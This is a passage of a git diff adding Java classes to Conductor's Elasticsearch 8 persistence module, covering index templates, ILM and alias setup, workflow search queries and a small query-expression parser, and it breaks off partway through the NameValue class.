    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import java.io.IOException; +import java.io.InputStream; +import java.io.StringReader; +import java.time.Duration; +import java.util.List; +import java.util.Locale; +import java.util.concurrent.Callable; + +import org.apache.commons.io.IOUtils; +import org.apache.commons.lang3.StringUtils; +import org.apache.http.HttpStatus; +import org.conductoross.conductor.es8.config.ElasticSearchProperties; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.core.exception.NonTransientException; + +import co.elastic.clients.elasticsearch.ElasticsearchClient; +import co.elastic.clients.elasticsearch._types.ElasticsearchException; +import co.elastic.clients.elasticsearch._types.HealthStatus; +import co.elastic.clients.elasticsearch._types.Time; +import co.elastic.clients.elasticsearch._types.mapping.TypeMapping; +import co.elastic.clients.elasticsearch.ilm.IlmPolicy; +import co.elastic.clients.elasticsearch.indices.IndexSettings; +import co.elastic.clients.elasticsearch.indices.get_index_template.IndexTemplateItem; +import co.elastic.clients.elasticsearch.indices.put_index_template.IndexTemplateMapping; +import co.elastic.clients.transport.endpoints.BooleanResponse; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Handles ES8 bootstrap and index management concerns (cluster health, templates, ILM and aliases). + */ +class Es8IndexManagementSupport { + + private static final Logger logger = LoggerFactory.getLogger(Es8IndexManagementSupport.class); + private static final String ILM_ROLLOVER_MAX_PRIMARY_SHARD_SIZE = "50gb"; + + private final ElasticsearchClient elasticSearchClient; + private final RetryTemplate retryTemplate; + private final ElasticSearchProperties properties; + private final ObjectMapper objectMapper; + private final String workflowIndexName; + private final String taskIndexName; + private final String logIndexName; + private final String messageIndexName; + private final String eventIndexName; + private final String ilmPolicyName; + private final String componentTemplateName; + private final String clusterHealthColor; + private final String resourcePrefix; + + Es8IndexManagementSupport( + ElasticsearchClient elasticSearchClient, + RetryTemplate retryTemplate, + ElasticSearchProperties properties, + ObjectMapper objectMapper, + String indexPrefix, + String workflowIndexName, + String taskIndexName, + String logIndexName, + String messageIndexName, + String eventIndexName) { + this.elasticSearchClient = elasticSearchClient; + this.retryTemplate = retryTemplate; + this.properties = properties; + this.objectMapper = objectMapper; + this.workflowIndexName = workflowIndexName; + this.taskIndexName = taskIndexName; + this.logIndexName = logIndexName; + this.messageIndexName = messageIndexName; + this.eventIndexName = eventIndexName; + this.clusterHealthColor = properties.getClusterHealthColor(); + this.resourcePrefix = normalizeResourcePrefix(indexPrefix); + this.ilmPolicyName = prefixedResourceName(this.resourcePrefix, "default-ilm-policy"); + this.componentTemplateName = prefixedResourceName(this.resourcePrefix, "common-settings"); + } + + void setup() throws IOException { + waitForHealthyCluster(); + if (properties.isAutoIndexManagementEnabled()) { + createIndexesTemplates(); + createWorkflowIndex(); + createTaskIndex(); + createTaskLogIndex(); + createMessageIndex(); + createEventIndex(); + } + } + + private void createIndexesTemplates() throws IOException { + ensureIlmPolicy(); + ensureComponentTemplate(); + initIndexesTemplates(); + } + + private void initIndexesTemplates() throws IOException { + TemplateDefinition workflowDefinition = loadTemplateDefinition("/template_workflow.json"); + initIndexAliasTemplate( + prefixedResourceName(resourcePrefix, "template_workflow"), + "template_workflow", + workflowIndexName + "-*", + workflowDefinition.mappings, + workflowDefinition.settings, + workflowIndexName); + + TemplateDefinition taskDefinition = loadTemplateDefinition("/template_task.json"); + initIndexAliasTemplate( + prefixedResourceName(resourcePrefix, "template_task"), + "template_task", + taskIndexName + "-*", + taskDefinition.mappings, + taskDefinition.settings, + taskIndexName); + + TemplateDefinition logDefinition = loadTemplateDefinition("/template_task_log.json"); + initIndexAliasTemplate( + prefixedResourceName(resourcePrefix, "template_task_log"), + "template_task_log", + logIndexName + "-*", + logDefinition.mappings, + logDefinition.settings, + logIndexName); + + TemplateDefinition eventDefinition = loadTemplateDefinition("/template_event.json"); + initIndexAliasTemplate( + prefixedResourceName(resourcePrefix, "template_event"), + "template_event", + eventIndexName + "-*", + eventDefinition.mappings, + eventDefinition.settings, + eventIndexName); + + TemplateDefinition messageDefinition = loadTemplateDefinition("/template_message.json"); + initIndexAliasTemplate( + prefixedResourceName(resourcePrefix, "template_message"), + "template_message", + messageIndexName + "-*", + messageDefinition.mappings, + messageDefinition.settings, + messageIndexName); + } + + private void initIndexAliasTemplate( + String templateName, + String legacyTemplateName, + String indexPattern, + JsonNode mappings, + JsonNode additionalSettings, + String aliasName) + throws IOException { + logger.info("Creating/updating the index template '{}'", templateName); + deleteLegacyIndexTemplateIfOwned(legacyTemplateName, templateName, indexPattern, aliasName); + IndexTemplateMapping.Builder template = + new IndexTemplateMapping.Builder() + .settings(buildIndexTemplateSettings(additionalSettings, aliasName)); + if (mappings != null) { + template.mappings(parseTypeMapping(mappings)); + } + executeWithRetry( + () -> { + elasticSearchClient + .indices() + .putIndexTemplate( + r -> + r.name(templateName) + .indexPatterns(indexPattern) + .priority(500L) + .composedOf(componentTemplateName) + .template(template.build())); + return null; + }); + } + + private void deleteLegacyIndexTemplateIfOwned( + String legacyTemplateName, + String replacementTemplateName, + String expectedIndexPattern, + String expectedAliasName) + throws IOException { + if (StringUtils.isBlank(legacyTemplateName) + || legacyTemplateName.equals(replacementTemplateName)) { + return; + } + + IndexTemplateItem legacyTemplate = getIndexTemplate(legacyTemplateName); + if (legacyTemplate == null) { + return; + } + + List indexPatterns = legacyTemplate.indexTemplate().indexPatterns(); + if (indexPatterns == null || !indexPatterns.contains(expectedIndexPattern)) { + return; + } + + var template = legacyTemplate.indexTemplate().template(); + if (template == null || template.aliases() == null) { + return; + } + if (!template.aliases().containsKey(expectedAliasName)) { + return; + } + + executeWithRetry( + () -> { + elasticSearchClient + .indices() + .deleteIndexTemplate(r -> r.name(legacyTemplateName)); + return null; + }); + logger.info( + "Deleted legacy index template '{}' for pattern '{}' (replaced by '{}')", + legacyTemplateName, + expectedIndexPattern, + replacementTemplateName); + } + + private IndexTemplateItem getIndexTemplate(String templateName) throws IOException { + try { + var response = + executeWithRetry( + () -> + elasticSearchClient + .indices() + .getIndexTemplate(r -> r.name(templateName))); + if (response.indexTemplates() == null || response.indexTemplates().isEmpty()) { + return null; + } + return response.indexTemplates().getFirst(); + } catch (ElasticsearchException e) { + if (e.status() == HttpStatus.SC_NOT_FOUND) { + return null; + } + throw e; + } + } + + private void createWorkflowIndex() throws IOException { + ensureWriteIndex(workflowIndexName); + } + + private void createTaskIndex() throws IOException { + ensureWriteIndex(taskIndexName); + } + + private void createTaskLogIndex() throws IOException { + ensureWriteIndex(logIndexName); + } + + private void createMessageIndex() throws IOException { + ensureWriteIndex(messageIndexName); + } + + private void createEventIndex() throws IOException { + ensureWriteIndex(eventIndexName); + } + + private void ensureIlmPolicy() throws IOException { + if (ilmPolicyExists(ilmPolicyName)) { + return; + } + IlmPolicy policy = + IlmPolicy.of( + p -> + p.phases( + ph -> + ph.hot( + hot -> + hot.actions( + a -> + a.rollover( + r -> + r + .maxPrimaryShardSize( + ILM_ROLLOVER_MAX_PRIMARY_SHARD_SIZE)))))); + executeWithRetry( + () -> { + elasticSearchClient + .ilm() + .putLifecycle(r -> r.name(ilmPolicyName).policy(policy)); + return null; + }); + logger.info("Created ILM policy '{}'", ilmPolicyName); + } + + private void ensureComponentTemplate() throws IOException { + IndexSettings settings = buildCommonIndexSettings(); + executeWithRetry( + () -> { + elasticSearchClient + .cluster() + .putComponentTemplate( + r -> + r.name(componentTemplateName) + .template(t -> t.settings(settings))); + return null; + }); + logger.info("Created/updated component template '{}'", componentTemplateName); + } + + private static HealthStatus parseHealthStatus(String value) { + if (value == null) { + return HealthStatus.Green; + } + return switch (value.trim().toLowerCase(Locale.ROOT)) { + case "green" -> HealthStatus.Green; + case "yellow" -> HealthStatus.Yellow; + case "red" -> HealthStatus.Red; + default -> HealthStatus.Green; + }; + } + + private boolean ilmPolicyExists(String policyName) throws IOException { + try { + elasticSearchClient.ilm().getLifecycle(r -> r.name(policyName)); + return true; + } catch (ElasticsearchException e) { + if (e.status() == HttpStatus.SC_NOT_FOUND) { + return false; + } + throw e; + } + } + + private TypeMapping parseTypeMapping(JsonNode mappings) throws IOException { + String json = objectMapper.writeValueAsString(mappings); + return TypeMapping.of(b -> b.withJson(new StringReader(json))); + } + + private IndexSettings buildIndexTemplateSettings( + JsonNode additionalSettings, String rolloverAlias) throws IOException { + IndexSettings.Builder builder = new IndexSettings.Builder(); + if (additionalSettings != null + && additionalSettings.isObject() + && additionalSettings.size() > 0) { + builder.withJson(new StringReader(objectMapper.writeValueAsString(additionalSettings))); + } + builder.lifecycle(l -> l.rolloverAlias(rolloverAlias)); + return builder.build(); + } + + private IndexSettings buildCommonIndexSettings() { + IndexSettings.Builder builder = + new IndexSettings.Builder() + .numberOfShards(String.valueOf(properties.getIndexShardCount())) + .numberOfReplicas(String.valueOf(properties.getIndexReplicasCount())) + .lifecycle(l -> l.name(ilmPolicyName)); + String refreshInterval = formatRefreshInterval(properties.getIndexRefreshInterval()); + if (refreshInterval != null) { + builder.refreshInterval(Time.of(t -> t.time(refreshInterval))); + } + return builder.build(); + } + + private String formatRefreshInterval(Duration refreshInterval) { + if (refreshInterval == null) { + return null; + } + if (refreshInterval.isZero() || refreshInterval.isNegative()) { + return "-1"; + } + return refreshInterval.toMillis() + "ms"; + } + + private TemplateDefinition loadTemplateDefinition(String templateResource) { + try (InputStream stream = + ElasticSearchRestDAOV8.class.getResourceAsStream(templateResource)) { + if (stream == null) { + throw new IOException("Template resource not found: " + templateResource); + } + JsonNode root = objectMapper.readTree(IOUtils.toString(stream)); + JsonNode templateNode = root.get("template"); + JsonNode settings = templateNode != null ? templateNode.get("settings") : null; + JsonNode mappings = templateNode != null ? templateNode.get("mappings") : null; + return new TemplateDefinition(settings, mappings); + } catch (IOException e) { + throw new NonTransientException("Failed to load template: " + templateResource, e); + } + } + + private void ensureWriteIndex(String aliasName) throws IOException { + BooleanResponse exists = + executeWithRetry( + () -> elasticSearchClient.indices().existsAlias(r -> r.name(aliasName))); + if (exists.value()) { + return; + } + String indexName = aliasName + "-000001"; + executeWithRetry( + () -> { + elasticSearchClient + .indices() + .create( + r -> + r.index(indexName) + .aliases(aliasName, a -> a.isWriteIndex(true))); + return null; + }); + logger.info("Created write index '{}' for alias '{}'", indexName, aliasName); + } + + private void waitForHealthyCluster() throws IOException { + HealthStatus waitForStatus = parseHealthStatus(clusterHealthColor); + executeWithRetry( + () -> { + elasticSearchClient + .cluster() + .health( + h -> + h.waitForStatus(waitForStatus) + .timeout(Time.of(t -> t.time("30s")))); + return null; + }); + } + + private static class TemplateDefinition { + private final JsonNode settings; + private final JsonNode mappings; + + private TemplateDefinition(JsonNode settings, JsonNode mappings) { + this.settings = settings; + this.mappings = mappings; + } + } + + private T executeWithRetry(Callable action) throws IOException { + try { + return retryTemplate.execute(context -> action.call()); + } catch (Exception e) { + if (e instanceof IOException ioException) { + throw ioException; + } + if (e instanceof RuntimeException runtimeException) { + throw runtimeException; + } + throw new IOException("Elasticsearch operation failed", e); + } + } + + private static String normalizeResourcePrefix(String indexPrefix) { + String prefix = StringUtils.trimToNull(indexPrefix); + if (prefix == null) { + return null; + } + prefix = StringUtils.stripEnd(prefix, "_-"); + return StringUtils.trimToNull(prefix); + } + + private static String prefixedResourceName(String resourcePrefix, String baseName) { + if (StringUtils.isBlank(resourcePrefix)) { + return baseName; + } + if (StringUtils.isBlank(baseName)) { + throw new IllegalArgumentException("baseName must not be blank"); + } + return resourcePrefix + "-" + baseName; + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8SearchSupport.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8SearchSupport.java new file mode 100644 index 0000000..274758a --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8SearchSupport.java @@ -0,0 +1,309 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import java.io.IOException; +import java.time.Duration; +import java.time.Instant; +import java.time.LocalDate; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Locale; +import java.util.Objects; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.es8.dao.query.parser.Expression; +import org.conductoross.conductor.es8.dao.query.parser.internal.ParserException; + +import com.netflix.conductor.common.run.SearchResult; + +import co.elastic.clients.elasticsearch.ElasticsearchClient; +import co.elastic.clients.elasticsearch._types.SortOptions; +import co.elastic.clients.elasticsearch._types.SortOrder; +import co.elastic.clients.elasticsearch._types.query_dsl.Query; +import co.elastic.clients.elasticsearch.core.CountResponse; +import co.elastic.clients.elasticsearch.core.SearchResponse; +import co.elastic.clients.json.JsonData; + +/** Handles query parsing and search operations used by ES8 index DAO. */ +class Es8SearchSupport { + + private final ElasticsearchClient elasticSearchClient; + private final String indexPrefix; + + Es8SearchSupport(ElasticsearchClient elasticSearchClient, String indexPrefix) { + this.elasticSearchClient = elasticSearchClient; + this.indexPrefix = indexPrefix; + } + + Query boolQueryBuilder(String expression, String queryString) throws ParserException { + Query queryBuilder = Query.of(q -> q.matchAll(m -> m)); + if (StringUtils.isNotEmpty(expression)) { + Expression exp = Expression.fromString(expression); + queryBuilder = exp.getFilterBuilder(); + } + + if (StringUtils.isBlank(queryString) || "*".equals(queryString.trim())) { + return queryBuilder; + } + + Query stringQuery = Query.of(q -> q.simpleQueryString(qs -> qs.query(queryString))); + Query baseQuery = queryBuilder; + return Query.of(q -> q.bool(b -> b.must(stringQuery).must(baseQuery))); + } + + SearchResult searchObjectsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType, + boolean idOnly, + Class clazz) + throws ParserException, IOException { + Query queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + return searchObjects( + getIndexName(docType), queryBuilder, start, size, sortOptions, idOnly, clazz); + } + + SearchResult searchObjectIdsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType) + throws ParserException, IOException { + Query queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + return searchObjectIds(getIndexName(docType), queryBuilder, start, size, sortOptions); + } + + SearchResult searchObjectIds(String indexName, Query queryBuilder, int start, int size) + throws IOException { + return searchObjectIds(indexName, queryBuilder, start, size, null); + } + + SearchResult searchObjectIds( + String indexName, Query queryBuilder, int start, int size, List sortOptions) + throws IOException { + List sort = buildSortOptions(sortOptions); + SearchResponse response = + elasticSearchClient.search( + s -> { + s.index(indexName) + .query(queryBuilder) + .from(start) + .size(size) + .trackTotalHits(t -> t.enabled(true)) + .source(src -> src.fetch(false)); + if (!sort.isEmpty()) { + s.sort(sort); + } + return s; + }, + Void.class); + List result = + response.hits().hits().stream().map(hit -> hit.id()).collect(Collectors.toList()); + long count = totalHits(response); + return new SearchResult<>(count, result); + } + + SearchResult searchObjects( + String indexName, + Query queryBuilder, + int start, + int size, + List sortOptions, + boolean idOnly, + Class clazz) + throws IOException { + List sort = buildSortOptions(sortOptions); + SearchResponse response = + elasticSearchClient.search( + s -> { + s.index(indexName) + .query(queryBuilder) + .from(start) + .size(size) + .trackTotalHits(t -> t.enabled(true)); + if (idOnly) { + s.source(src -> src.fetch(false)); + } + if (!sort.isEmpty()) { + s.sort(sort); + } + return s; + }, + clazz); + return mapSearchResult(response, idOnly, clazz); + } + + long getObjectCounts(String structuredQuery, String freeTextQuery, String docType) + throws ParserException, IOException { + Query queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + String indexName = getIndexName(docType); + CountResponse countResponse = + elasticSearchClient.count(c -> c.index(indexName).query(queryBuilder)); + return countResponse.count(); + } + + List searchArchivableWorkflows(String indexName, long archiveTtlDays) + throws IOException { + String archiveTo = LocalDate.now().minusDays(archiveTtlDays).toString(); + String archiveFrom = LocalDate.now().minusDays(archiveTtlDays).minusDays(1).toString(); + + Query endTimeRangeQuery = + Query.of( + q -> + q.range( + r -> + r.untyped( + u -> + u.field("endTime") + .lt(JsonData.of(archiveTo)) + .gte( + JsonData.of( + archiveFrom))))); + Query completedQuery = Query.of(q -> q.term(t -> t.field("status").value("COMPLETED"))); + Query failedQuery = Query.of(q -> q.term(t -> t.field("status").value("FAILED"))); + Query timedOutQuery = Query.of(q -> q.term(t -> t.field("status").value("TIMED_OUT"))); + Query terminatedQuery = Query.of(q -> q.term(t -> t.field("status").value("TERMINATED"))); + Query notArchivedQuery = Query.of(q -> q.exists(e -> e.field("archived"))); + + Query query = + Query.of( + q -> + q.bool( + b -> + b.must(endTimeRangeQuery) + .should(completedQuery) + .should(failedQuery) + .should(timedOutQuery) + .should(terminatedQuery) + .mustNot(notArchivedQuery) + .minimumShouldMatch("1"))); + SearchResult workflowIds = searchObjectIds(indexName, query, 0, 1000); + return workflowIds.getResults(); + } + + List searchRecentRunningWorkflows( + String workflowIndexName, int lastModifiedHoursAgoFrom, int lastModifiedHoursAgoTo) + throws IOException { + Instant now = Instant.now(); + long fromMillis = now.minus(Duration.ofHours(lastModifiedHoursAgoFrom)).toEpochMilli(); + long toMillis = now.minus(Duration.ofHours(lastModifiedHoursAgoTo)).toEpochMilli(); + + Query gtUpdateTimeQuery = + Query.of( + q -> + q.range( + r -> + r.untyped( + u -> + u.field("updateTime") + .gt( + JsonData.of( + fromMillis))))); + Query ltUpdateTimeQuery = + Query.of( + q -> + q.range( + r -> + r.untyped( + u -> + u.field("updateTime") + .lt( + JsonData.of( + toMillis))))); + Query runningStatusQuery = Query.of(q -> q.term(t -> t.field("status").value("RUNNING"))); + + Query query = + Query.of( + q -> + q.bool( + b -> + b.must(gtUpdateTimeQuery) + .must(ltUpdateTimeQuery) + .must(runningStatusQuery))); + SearchResult workflowIds = + searchObjectIds( + workflowIndexName, + query, + 0, + 5000, + Collections.singletonList("updateTime:ASC")); + return workflowIds.getResults(); + } + + private SearchResult mapSearchResult( + SearchResponse response, boolean idOnly, Class clazz) { + long count = totalHits(response); + List result; + if (idOnly) { + result = + response.hits().hits().stream() + .map(hit -> clazz.cast(hit.id())) + .collect(Collectors.toList()); + } else { + result = + response.hits().hits().stream() + .map(hit -> hit.source()) + .filter(Objects::nonNull) + .collect(Collectors.toList()); + } + return new SearchResult<>(count, result); + } + + private List buildSortOptions(List sortOptions) { + if (sortOptions == null || sortOptions.isEmpty()) { + return Collections.emptyList(); + } + List options = new ArrayList<>(); + for (String sortOption : sortOptions) { + SortOrder order = SortOrder.Asc; + String field = sortOption; + int index = sortOption.indexOf(":"); + if (index > 0) { + field = sortOption.substring(0, index); + String orderValue = sortOption.substring(index + 1).trim().toUpperCase(Locale.ROOT); + if ("DESC".equals(orderValue)) { + order = SortOrder.Desc; + } + } + String sortField = field; + SortOrder sortOrder = order; + options.add(SortOptions.of(s -> s.field(f -> f.field(sortField).order(sortOrder)))); + } + return options; + } + + private long totalHits(SearchResponse response) { + if (response.hits().total() != null) { + return response.hits().total().value(); + } + return response.hits().hits().size(); + } + + private String getIndexName(String documentType) { + if (StringUtils.isBlank(indexPrefix)) { + return documentType; + } + if (indexPrefix.endsWith("_")) { + return indexPrefix + documentType; + } + return indexPrefix + "_" + documentType; + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/Expression.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/Expression.java new file mode 100644 index 0000000..55a0c33 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/Expression.java @@ -0,0 +1,117 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +import org.conductoross.conductor.es8.dao.query.parser.internal.AbstractNode; +import org.conductoross.conductor.es8.dao.query.parser.internal.BooleanOp; +import org.conductoross.conductor.es8.dao.query.parser.internal.ParserException; + +import co.elastic.clients.elasticsearch._types.query_dsl.Query; + +/** + * @author Viren + */ +public class Expression extends AbstractNode implements FilterProvider { + + private NameValue nameVal; + + private GroupedExpression ge; + + private BooleanOp op; + + private Expression rhs; + + public Expression(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(1); + + if (peeked[0] == '(') { + this.ge = new GroupedExpression(is); + } else { + this.nameVal = new NameValue(is); + } + + peeked = peek(3); + if (isBoolOpr(peeked)) { + // we have an expression next + this.op = new BooleanOp(is); + this.rhs = new Expression(is); + } + } + + public boolean isBinaryExpr() { + return this.op != null; + } + + public BooleanOp getOperator() { + return this.op; + } + + public Expression getRightHandSide() { + return this.rhs; + } + + public boolean isNameValue() { + return this.nameVal != null; + } + + public NameValue getNameValue() { + return this.nameVal; + } + + public GroupedExpression getGroupedExpression() { + return this.ge; + } + + @Override + public Query getFilterBuilder() { + Query lhs; + if (nameVal != null) { + lhs = nameVal.getFilterBuilder(); + } else { + lhs = ge.getFilterBuilder(); + } + + if (this.isBinaryExpr()) { + Query rhsFilter = rhs.getFilterBuilder(); + if (this.op.isAnd()) { + return Query.of(q -> q.bool(b -> b.must(lhs).must(rhsFilter))); + } else { + return Query.of(q -> q.bool(b -> b.should(lhs).should(rhsFilter))); + } + } else { + return lhs; + } + } + + @Override + public String toString() { + if (isBinaryExpr()) { + return "" + (nameVal == null ? ge : nameVal) + op + rhs; + } else { + return "" + (nameVal == null ? ge : nameVal); + } + } + + public static Expression fromString(String value) throws ParserException { + return new Expression(new BufferedInputStream(new ByteArrayInputStream(value.getBytes()))); + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/FilterProvider.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/FilterProvider.java new file mode 100644 index 0000000..225c108 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/FilterProvider.java @@ -0,0 +1,26 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser; + +import co.elastic.clients.elasticsearch._types.query_dsl.Query; + +/** + * @author Viren + */ +public interface FilterProvider { + + /** + * @return FilterBuilder for elasticsearch + */ + Query getFilterBuilder(); +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/GroupedExpression.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/GroupedExpression.java new file mode 100644 index 0000000..49227df --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/GroupedExpression.java @@ -0,0 +1,60 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser; + +import java.io.InputStream; + +import org.conductoross.conductor.es8.dao.query.parser.internal.AbstractNode; +import org.conductoross.conductor.es8.dao.query.parser.internal.ParserException; + +import co.elastic.clients.elasticsearch._types.query_dsl.Query; + +/** + * @author Viren + */ +public class GroupedExpression extends AbstractNode implements FilterProvider { + + private Expression expression; + + public GroupedExpression(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = read(1); + assertExpected(peeked, "("); + + this.expression = new Expression(is); + + peeked = read(1); + assertExpected(peeked, ")"); + } + + @Override + public String toString() { + return "(" + expression + ")"; + } + + /** + * @return the expression + */ + public Expression getExpression() { + return expression; + } + + @Override + public Query getFilterBuilder() { + return expression.getFilterBuilder(); + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/NameValue.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/NameValue.java new file mode 100644 index 0000000..627ea2f --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/NameValue.java @@ -0,0 +1,239 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser; + +import java.io.InputStream; +import java.util.List; +import java.util.Locale; + +import org.conductoross.conductor.es8.dao.query.parser.internal.AbstractNode; +import org.conductoross.conductor.es8.dao.query.parser.internal.ComparisonOp; +import org.conductoross.conductor.es8.dao.query.parser.internal.ComparisonOp.Operators; +import org.conductoross.conductor.es8.dao.query.parser.internal.ConstValue; +import org.conductoross.conductor.es8.dao.query.parser.internal.ListConst; +import org.conductoross.conductor.es8.dao.query.parser.internal.Name; +import org.conductoross.conductor.es8.dao.query.parser.internal.ParserException; +import org.conductoross.conductor.es8.dao.query.parser.internal.Range; + +import co.elastic.clients.elasticsearch._types.FieldValue; +import co.elastic.clients.elasticsearch._types.query_dsl.Query; +import co.elastic.clients.json.JsonData; + +/** + * @author Viren + * 

    + * Represents an expression of the form as below:
+ * key OPR value
+ * OPR is the comparison operator which could be on the following:
+ * 	>, <, = , !=, IN, BETWEEN
+ *
    + */ +public class NameValue extends AbstractNode implements FilterProvider { + + private Name name; + + private ComparisonOp op; + + private ConstValue value; + + private Range range; + + private ListConst valueList; + + public NameValue(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.name = new Name(is); + this.op = new ComparisonOp(is); + + if (this.op.getOperator().equals(Operators.BETWEEN.value())) { + this.range = new Range(is); + } + if (this.op.getOperator().equals(Operators.IN.value())) { + this.valueList = new ListConst(is); + } else { + this.value = new ConstValue(is); + } + } + + @Override + public String toString() { + return "" + name + op + value; + } + + /** + * @return the name + */ + public Name getName() { + return name; + } + + /** + * @return the op + */ + public ComparisonOp getOp() { + return op; + } + + /** + * @return the value + */ + public ConstValue getValue() { + return value; + } + + @Override + public Query getFilterBuilder() { + if (op.getOperator().equals(Operators.EQUALS.value())) { + if (value.isSysConstant()) { + return systemConstantQuery(value.getSysConstant(), true); + } + String unquoted = value.getUnquotedValue(); + if (unquoted.contains("*")) { + return Query.of(q -> q.wildcard(w -> w.field(name.getName()).value(unquoted))); + } + return Query.of( + q -> + q.term( + t -> + t.field(name.getName()) + .value(toFieldValue(value.toString())))); + } else if (op.getOperator().equals(Operators.BETWEEN.value())) { + return Query.of( + q -> + q.range( + r -> + r.untyped( + u -> + u.field(name.getName()) + .gte( + JsonData.of( + range.getLow())) + .lte( + JsonData.of( + range + .getHigh()))))); + } else if (op.getOperator().equals(Operators.IN.value())) { + List values = + valueList.getList().stream() + .map(value -> toFieldValue(String.valueOf(value))) + .toList(); + return Query.of( + q -> q.terms(t -> t.field(name.getName()).terms(tf -> tf.value(values)))); + } else if (op.getOperator().equals(Operators.NOT_EQUALS.value())) { + if (value.isSysConstant()) { + return systemConstantQuery(value.getSysConstant(), false); + } + Query query = + Query.of( + q -> + q.term( + t -> + t.field(name.getName()) + .value( + toFieldValue( + value.toString())))); + return Query.of(q -> q.bool(b -> b.mustNot(query))); + } else if (op.getOperator().equals(Operators.GREATER_THAN.value())) { + return Query.of( + q -> + q.range( + r -> + r.untyped( + u -> + u.field(name.getName()) + .gt( + JsonData.of( + value + .getValue()))))); + } else if (op.getOperator().equals(Operators.IS.value())) { + return systemConstantQuery(value.getSysConstant(), true); + } else if (op.getOperator().equals(Operators.LESS_THAN.value())) { + return Query.of( + q -> + q.range( + r -> + r.untyped( + u -> + u.field(name.getName()) + .lt( + JsonData.of( + value + .getValue()))))); + } else if (op.getOperator().equals(Operators.STARTS_WITH.value())) { + return Query.of( + q -> q.prefix(p -> p.field(name.getName()).value(value.getUnquotedValue()))); + } + + throw new IllegalStateException("Incorrect/unsupported operators"); + } + + private Query systemConstantQuery(ConstValue.SystemConsts sysConst, boolean isEqualityCheck) { + if (sysConst == ConstValue.SystemConsts.NULL) { + return isEqualityCheck ? missingFieldQuery() : 